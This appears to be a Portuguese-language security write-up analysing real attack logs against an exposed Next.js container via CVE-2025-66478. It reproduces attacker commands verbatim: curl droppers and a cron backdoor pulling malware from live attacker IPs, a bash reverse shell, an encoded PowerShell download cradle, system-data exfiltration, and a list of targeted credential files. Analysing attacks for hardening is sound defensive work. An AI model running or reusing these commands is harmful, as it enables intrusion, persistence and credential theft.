
Análise de logs de ataque do mundo real do CVE-2025-66478 (Next.js Server Actions RCE) com amostras de malware, rastreamento de IP do atacante e lições de fortalecimento de segurança de contêineres.
Este projeto reúne logs de ataque reais registrados por uma aplicação Next.js 15.1.2 exposta na internet (executando em um contêiner Docker). Estes logs demonstram a varredura e exploração em larga escala da vulnerabilidade CVE-2025-66478 por ferramentas automatizadas de ataque.
Período de registo: 2025-12-04 ~ 2025-12-06 (aproximadamente 48 horas)
Informações do ambiente:
Os atacantes tentaram executar comandos para baixar e executar malware através da vulnerabilidade.
| IP de origem do ataque | URL do payload malicioso | Descrição |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | Botnet/minerador |
| 38.207.161.212 | http://38.207.161.212/agent | Programa agente malicioso |
| 43.156.63.124 | http://43.156.63.124/tsd | Backdoor persistente via cron |
| 154.38.121.219 | res.qiqigece.top/nginx3 | Malware disfarçado de nginx |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | Script de botnet IoT |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | Minerador/backdoor |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | Script malicioso |
| 38.12.24.231 | http://38.12.24.231/kworker | Malware disfarçado de kernel worker |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | Script de inicialização |
# Ataque dropper típico
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# Backdoor persistente via cron
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# Ataque de persistência complexo (múltiplos métodos de download + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
Os atacantes tentaram estabelecer conexões reverse shell para obter acesso interativo.
# Bash reverse shell
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
Os atacantes assumiram que o alvo era um sistema Windows e tentaram executar comandos PowerShell.
# PowerShell malicioso codificado em Base64
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# Decodificado:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# Cálculos matemáticos usados para confirmação da vulnerabilidade
powershell -c "41*271" # = 11111 (confirmação de assinatura)
powershell -c "44225*41002" # = 1814113450
Os atacantes tentaram coletar informações do sistema para ataques posteriores.
# Coleta de informações do sistema e exfiltração
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
Os atacantes tentaram ler vários arquivos sensíveis e credenciais.
| Categoria | Caminho |
|---|---|
| Credenciais cloud | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| Chaves SSH | /root/.ssh/id_rsa, /root/.ssh/config |
| Credenciais Git | /root/.git-credentials, /root/.gitconfig |
| Container/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| Aplicação | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| Histórico Shell | /root/.bash_history, /root/.zsh_history |
| Ferramentas cloud | /root/.ossutilconfig (Alibaba Cloud OSS) |
/root/.npmrc | |
| Configuração do sistema | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
Variáveis de ambiente do contêiner vazadas com sucesso através da vulnerabilidade:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
Os atacantes usaram consultas DNS para exfiltração de dados ou confirmação da vulnerabilidade:
ping 5a58e4a0.log.dnslog.pp.ua.
A maioria dos ataques falhou devido à natureza minimalista do contêiner Alpine Linux:
| Ferramenta ausente | Impacto |
|---|---|
curl | Incapacidade de baixar payloads maliciosos |
bash | Incapacidade de executar sintaxe específica do bash (ex.: reverse shell) |
powershell | Ataques Windows ineficazes |
python | Incapacidade de usar downloader Python |
Embora wget estivesse disponível, alguns scripts maliciosos internamente dependiam de curl ou bash, resultando em falha na execução.
Os logs contêm muitos dados codificados em Base64. Abaixo estão alguns resultados decodificados:
# digest: 'cm9vdAo='
Decodificado: root
# digest: 'dGVzdAo='
Decodificado: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Decodificado: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Decodificado: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# Conteúdo do diretório /tmp
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
Decodificado:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
Abaixo estão os endereços IP de ataque registrados: